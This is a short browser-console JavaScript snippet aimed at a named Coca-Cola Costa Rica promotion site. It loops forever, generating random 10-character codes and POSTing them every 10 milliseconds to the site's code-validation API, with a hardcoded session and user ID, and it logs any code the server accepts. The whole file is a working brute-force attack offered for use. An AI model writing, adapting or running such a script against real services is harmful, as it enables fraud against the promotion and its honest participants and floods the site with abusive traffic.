Coca Cola

cocaCola.txt

/**
Page to run at: https://promo.coca-cola.co.cr/inicio

Valid Code Response:
{"errorId":0,"errorMessage":"Se realizó la operación con éxito"}

Invalid Code Response:
{"errorId":10,


**/


var sessionId = "XIEPVUGH4WQDZPAYWLOTRWBLTNIJQ40C";

// Code format is numberic of 10 digits or letters.
function generateCode() {
   var length = 10;
   var result           = '';
   var characters       = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
   var charactersLength = characters.length;
   for ( var i = 0; i < length; i++ ) {
      result += characters.charAt(Math.floor(Math.random() * charactersLength));
   }
   return result;
}

function sleep(ms) {
    return new Promise(resolve => setTimeout(resolve, ms));
}

while(true) {
  await sleep(10); // miliseconds
  var url = "https://promo.coca-cola.co.cr/api/ValidateCodeFirst";
  var referrer = "https://promo.coca-cola.co.cr/inicio";
  var body = "pincode=" + generateCode() + "&iniciative=CR&sessionId=" + sessionId + "&userId=%2FjDuOlKEhWs6SbZaVcMdMQ%3D%3D";
  var headers = {"accept":"application/json; charset=utf-8","accept-language":"en-US,en;q=0.9,es;q=0.8","content-type":"application/x-www-form-urlencoded","sec-fetch-dest":"empty","sec-fetch-mode":"cors","sec-fetch-site":"same-origin"};
  var options = {
    "credentials": "include",
    "headers": headers,
    "referrer": referrer,
    "referrerPolicy": "no-referrer-when-downgrade",
    "body": body,
    "method": "POST",
    "mode": "cors"
  };

  var test = await fetch(url, options);

  var json = await test.json();

  if (json.errorId == 0) { console.log(json); }
  
}